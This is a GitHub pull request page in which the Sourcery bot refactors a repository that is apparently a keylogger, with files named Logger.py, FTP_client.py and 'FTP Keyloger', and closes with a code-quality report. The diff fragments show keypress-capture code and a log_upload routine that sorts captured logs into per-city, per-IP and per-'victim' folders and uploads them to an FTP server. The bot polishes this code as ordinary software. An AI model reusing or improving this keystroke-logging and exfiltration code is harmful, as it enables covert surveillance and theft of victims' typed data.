Skip to content

Sourcery refactored master branch#1

Open
sourcery-ai[bot] wants to merge 1 commit into
masterfrom
sourcery/master
Open

Sourcery refactored master branch#1
sourcery-ai[bot] wants to merge 1 commit into
masterfrom
sourcery/master

Conversation

@sourcery-ai
Copy link
Copy Markdown

@sourcery-ai sourcery-ai Bot commented Jul 31, 2020

Branch master refactored by Sourcery.

If you're happy with these changes, merge this Pull Request using the Squash and merge strategy.

See our documentation here.

Run Sourcery locally

Reduce the feedback loop during development by using the Sourcery editor plugin:

Review changes via command line

To manually merge these changes, make sure you're on the master branch, then run:

git fetch origin sourcery/master
git merge --ff-only FETCH_HEAD
git reset HEAD^

Comment thread FTP_client.py
Comment on lines -31 to -32
else:
pass
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 31-32 refactored with the following changes:

  • Remove redundant pass statement (remove-redundant-pass)

Comment thread FTP_client.py
Comment on lines -53 to -77
if victim in ftp.nlst():
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
else:
if victim not in ftp.nlst():
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
else:
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
else:
ftp.mkd(city)
ftp.cwd(city)
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function log_upload refactored with the following changes:

  • Hoist repeated code outside conditional statement (hoist-statement-from-if)
  • Hoist repeated code outside conditional statement (hoist-statement-from-if)

Comment thread Logger.py
Comment on lines -14 to +18
keys = '\n'
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
keys = '\n'
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function keypressed refactored with the following changes:

  • Replace multiple comparisons of same variable with in operator (merge-comparisons)

Comment thread v2/FTP Keyloger
Comment on lines -44 to -68
if victim in ftp.nlst():
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
else:
if victim not in ftp.nlst():
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
else:
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
else:
ftp.mkd(city)
ftp.cwd(city)
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function log_upload refactored with the following changes:

  • Hoist repeated code outside conditional statement (hoist-statement-from-if)
  • Hoist repeated code outside conditional statement (hoist-statement-from-if)

Comment thread v2/FTP Keyloger
Comment on lines -128 to +112
elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24:
elif event.Ascii in [1, 3, 19, 0, 24]:
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function keypressed refactored with the following changes:

  • Remove redundant pass statement (remove-redundant-pass)
  • Replace multiple comparisons of same variable with in operator (merge-comparisons)

@sourcery-ai
Copy link
Copy Markdown
Author

sourcery-ai Bot commented Jul 31, 2020

Sourcery Code Quality Report (beta)

✅  Merging this PR will increase code quality in the affected files by 0.16 out of 10.

Quality metrics Before After Change
Complexity 5.50 5.00 -0.50 🔵
Method Length 120.81 102.00 -18.81 🔵
Quality 7.41 7.57 0.16 🔵
Other metrics Before After Change
Lines 317 282 -35
Changed files Quality Before Quality After Quality Change
FTP_client.py 7.42 7.61 0.19 🔵
Logger.py 8.59 8.65 0.06 🔵
v2/FTP Keyloger 6.23 6.44 0.21 🔵

Here are some functions in these files that still need a tune-up:

File Function Complexity Length Overall Recommendation
v2/FTP Keyloger log_upload 19 243.91 3.99 Split out functionality
FTP_client.py log_upload 19 228.92 4.11 Split out functionality
v2/FTP Keyloger keypressed 12 262.66 4.50 Split out functionality
Logger.py keypressed 7 185.76 5.65 Split out functionality

Please see our documentation here for details on how these metrics are calculated.

We are actively working on this report - lots more documentation and extra metrics to come!

Let us know what you think of it via email or our Gitter!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants